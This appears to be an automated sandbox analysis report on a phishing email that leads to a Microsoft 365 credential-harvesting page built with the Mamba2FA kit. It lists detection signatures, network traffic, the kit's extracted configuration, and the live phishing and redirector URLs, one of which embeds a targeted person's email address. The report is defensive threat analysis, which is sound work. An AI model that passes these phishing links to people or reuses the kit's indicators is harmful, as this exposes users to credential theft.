Edit tour

Windows Analysis Report
Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg

Overview

General Information

Sample name:	Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg
Analysis ID:	1551676
MD5:	a53146dc9bf1d7c77941c16dcb1e4c23
SHA1:	2389a20e86d06d18a5bdf5248b94d64ff9a8c48f
SHA256:	63163a52c24a39885700215d21099daf712d1a2f951aad550ea752f985925ca1
Infos:

Detection

HTMLPhisher, Mamba2FA

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

Yara detected Mamba 2FA PaaS

AI detected landing page (webpage, office document or email)

AI detected potential phishing Email

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

OUTLOOK.EXE (PID: 2132 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 5804 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "33D2C1D9-A338-44A4-B342-73999327D5FA" "57C154EC-7A9D-400B-BB7E-03D2AFEEBC88" "2132" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 7064 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1976,i,6964105365964533896,9458481899654346610,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: Mamba2FA

{"sv": "o365_1_nom", "rand": "dVowSWY=", "uid": "USER18102024U39101846"}

Yara Signatures

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.2.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 2132, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T23:47:24.144209+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.5	49726	TCP
2024-11-07T23:48:02.273380+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.5	49952	TCP

ET PHISHING Generic Credential Phish Landing Page (jsnom.js)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T23:47:27.488551+0100	2056316	1	Successful Credential Theft Detected	192.168.2.5	49735	172.67.191.88	443	TCP
2024-11-07T23:47:29.254866+0100	2056316	1	Successful Credential Theft Detected	192.168.2.5	49749	172.67.191.88	443	TCP

ET PHISHING Javascript Browser Fingerprinting POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T23:47:25.662594+0100	2056643	2	Possible Social Engineering Attempted	192.168.2.5	49736	172.67.191.88	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/jsd/r/8df0dd71cde1ddaf	Avira URL Cloud: Label: malware
Source: https://bhutto.systelligence.com/o/jsnom.js	Avira URL Cloud: Label: malware
Source: https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js?	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 1.0.pages.csv

Malware Configuration Extractor: Mamba2FA {"sv": "o365_1_nom", "rand": "dVowSWY=", "uid": "USER18102024U39101846"}

Phishing

AI detected phishing page

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

LLM: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'bhutto.systelligence.com' does not match the legitimate domain 'microsoft.com'., The domain 'systelligence.com' is not associated with Microsoft., The presence of a subdomain 'bhutto' and the main domain 'systelligence.com' suggests a third-party site, which is suspicious., The input field 'I'm not a robot' is commonly used in phishing sites to appear legitimate. DOM: 1.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Yara detected Mamba 2FA PaaS

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

Matcher: Template: microsoft matched

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

HTTP Parser: Number of links: 0

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

HTTP Parser: Base64 decoded: 1731019646.000000

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

HTTP Parser: Title: Authenticating ... does not match URL

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

HTTP Parser: Invalid link: Forgot password?

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: Invalid link: Terms of use
Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: Invalid link: Privacy & cookies
Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: Invalid link: Terms of use
Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: Invalid link: Privacy & cookies

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov

HTTP Parser: <input type="password" .../> found

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: No favicon
Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: No favicon

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: No <meta name="author".. found
Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: No <meta name="author".. found

Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: No <meta name="copyright".. found
Source: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50030 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056316 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page (jsnom.js) : 192.168.2.5:49735 -> 172.67.191.88:443
Source: Network traffic	Suricata IDS: 2056316 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page (jsnom.js) : 192.168.2.5:49749 -> 172.67.191.88:443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev to https://bhutto.systelligence.com/o/?c3y9bzm2nv8xx25vbszyyw5kpwrwb3dtv1k9jnvpzd1vu0vsmtgxmdiwmjrvmzkxmde4ndy=n0123njoe.nguyen%40leg.wa.gov

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 18.245.31.33 18.245.31.33
Source: Joe Sandbox View	IP Address: 18.245.31.5 18.245.31.5
Source: Joe Sandbox View	IP Address: 192.229.133.221 192.229.133.221

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:49726
Source: Network traffic	Suricata IDS: 2056643 - Severity 2 - ET PHISHING Javascript Browser Fingerprinting POST Request : 192.168.2.5:49736 -> 172.67.191.88:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:49952

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.2
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91

Source: global traffic	HTTP traffic detected: GET /?NHEDjoe.nguyen@leg.wa.gov HTTP/1.1Host: ppoe383938373.94f753c2d1263a70cd44ea51.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lwv5AFT7f7Z8N59&MD=cHD+y+u8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov HTTP/1.1Host: bhutto.systelligence.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/jsnom.js HTTP/1.1Host: bhutto.systelligence.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.govAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=e9ccd5407bacb271b8cf9efe7842ff16
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://bhutto.systelligence.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bhutto.systelligence.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.govAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/jsnom.js HTTP/1.1Host: bhutto.systelligence.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=e9ccd5407bacb271b8cf9efe7842ff16
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: bhutto.systelligence.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bhutto.systelligence.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
